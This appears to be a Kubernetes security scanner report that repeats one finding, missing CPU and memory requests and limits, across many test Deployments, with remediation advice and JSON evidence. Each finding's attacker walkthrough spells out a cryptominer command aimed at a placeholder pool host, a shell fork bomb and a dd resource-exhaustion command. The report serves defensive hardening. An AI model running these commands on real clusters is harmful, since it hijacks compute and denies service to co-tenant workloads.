A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n flat-network --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.0
Container app in Deployment/ingress-only/ingress-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Infrastructure Modification Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in workload Deployment/ingress-only/ingress-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n ingress-only --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-narrow-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-narrow-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-orphan-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-orphan-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-wildcard-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-wildcard-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.0
Container app in Deployment/netpol-imds/imds-allow-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Infrastructure Modification Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in workload Deployment/netpol-imds/imds-allow-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n netpol-imds --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.0
Container app in Deployment/netpol-imds/imds-open-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Infrastructure Modification Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in workload Deployment/netpol-imds/imds-open-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n netpol-imds --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/psa-suppressed/psa-priv-app Workload 5.0
Container app in Deployment/psa-suppressed/psa-priv-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app
Category: Infrastructure Modification Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Container app in workload Deployment/psa-suppressed/psa-priv-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n psa-suppressed --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.0
Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Infrastructure Modification Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n psa-unlabeled-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 5.0
Container app in Deployment/pv-hostpath-fixtures/pv-hostpath-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Infrastructure Modification Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Container app in workload Deployment/pv-hostpath-fixtures/pv-hostpath-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n pv-hostpath-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.0
Container app in Deployment/rbac-fixtures/imp-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Infrastructure Modification Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in workload Deployment/rbac-fixtures/imp-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

